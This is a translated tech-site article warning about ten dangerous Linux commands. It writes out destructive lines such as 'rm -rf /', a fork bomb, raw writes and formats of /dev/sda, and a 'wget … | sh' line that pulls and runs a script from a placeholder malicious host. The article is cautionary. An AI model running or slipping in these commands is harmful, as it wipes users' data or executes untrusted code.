In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-01-16 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Servers >
Share
Shulou(Shulou.com)06/02 Report--
Ten commands will be introduced to you in this article, but you'd better not "try" to use them. Of course, the following commands are usually under root privileges to play stupid to hopelessly; under the identity of ordinary users, destruction is only one of their own acres and three points.
1. rm -rf command
The rm -rf command is one of the fastest ways to delete folders and their contents.
Just the slightest mistake or ignorance can lead to irrecoverable system failure.
Here are some options for the rm command:
The rm command is commonly used to delete files under Linux.
·The rm -r command recursively deletes folders, even empty ones.
·The rm -f command deletes 'read-only files' without asking. Deleting a file under Linux doesn't care if the file is read-only, but only if its parent directory has write permissions. Therefore, the parameter-f simply means that there is no need to delete confirmations one by one, but to delete them quietly. In addition, the original rm command actually has no delete prompt, but the general distribution will add rm through the alias of the-i parameter to request deletion confirmation, and-f suppresses this prompt.
· rm -rf / : Forcefully deletes everything in the root directory.
· rm -rf * : Forcefully deletes all files in the current directory.
· rm -rf . : Forces deletion of the current folder and its subfolders.
From now on, be careful when you execute rm-rf commands. We can create an alias for rm -i in the ".bashrc" file for the 'rm' command to prevent accidents when deleting files with the 'rm' command, which will require you to confirm each deletion request.
Most distributions already do this, if not already, and be sure to think about what you're doing before using the-f argument! The translator himself has learned a lesson in blood and tears.
2. :(){:|:&};: Command
This is an example of fork.
This is done by defining a function called ':' that calls itself twice, once in the foreground and once in the background. It will repeat itself until the system crashes.
3. Command> /dev/sda
This command writes the output of a 'command' to the block device/dev/sda.
This operation replaces all data blocks in the block device with the original data that was commanded to be written, resulting in data loss for the entire block device.
4. mv folder/dev/null
This command moves a folder to/dev/null.
In Linux, a/dev/null or null device is a special file where all data written to it is cleared and the write operation is returned successfully.
Of course, it should be noted that this command does not prevent data recovery software-so, the real complete destruction, need to use special software or methods to complete.
5. wget http://malicious_source -O- | sh
This command downloads a script from a (perhaps) malicious source and executes it.
Wget downloads the script, and sh executes the downloaded script (unconditionally).
Note: You should always pay attention to the source of your download package or script. Use only those scripts/programs downloaded from trusted sources.
6. mkfs.ext3 /dev/sda
The above command formats the block device 'sda', after executing this command your block device (hard drive) will be formatted, directly bringing your system to an unrecoverable stage.
Usually we don't use devices like/dev/sda directly, except as raw devices.
Sda is usually divided into partitions like sda1 and sda2 before it is used. Of course, regardless of whether you use sda or sda1, mkfs on block devices or partitions is devastating, and the data on them evaporates.
7. > file
This command is often used to clear file contents or record command output.
However, please confirm that the output file is empty or does not exist before execution, otherwise the original file can really not be restored-even data recovery software may not be able to help you.
What you might really want to use is ">>," which accumulates new output to a file, rather than refreshing that file.
A command like "> xt.conf" will overwrite the configuration file or any other system configuration file if it is incorrectly or innocently entered when executed with the above.
8. ^foo^bar
This command is used to edit a previously run command without having to retype the entire command.
If you don't thoroughly check the risks of changing the original command when using foobar, this can lead to real trouble.
9. dd if=/dev/random of=/dev/sda
This command erases data by writing random junk files to the block device sda, leaving your system in a potentially chaotic and irrecoverable state.
Remember when it said mv to black hole doesn't erase data completely? Then this command gives you a way to delete it completely! Of course, you can rewrite it several times just to be on the safe side.
10. hide the command
The following command is actually the first command above (rm -rf).
The code here is hidden in hexadecimal and an ignorant user could be fooled by running the following command on the terminal and erasing your root partition.
The real danger is hidden and cannot be easily detected. You have to be aware of what you're doing and what the consequences are. Remember, never compile/run code from unknown sources.
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.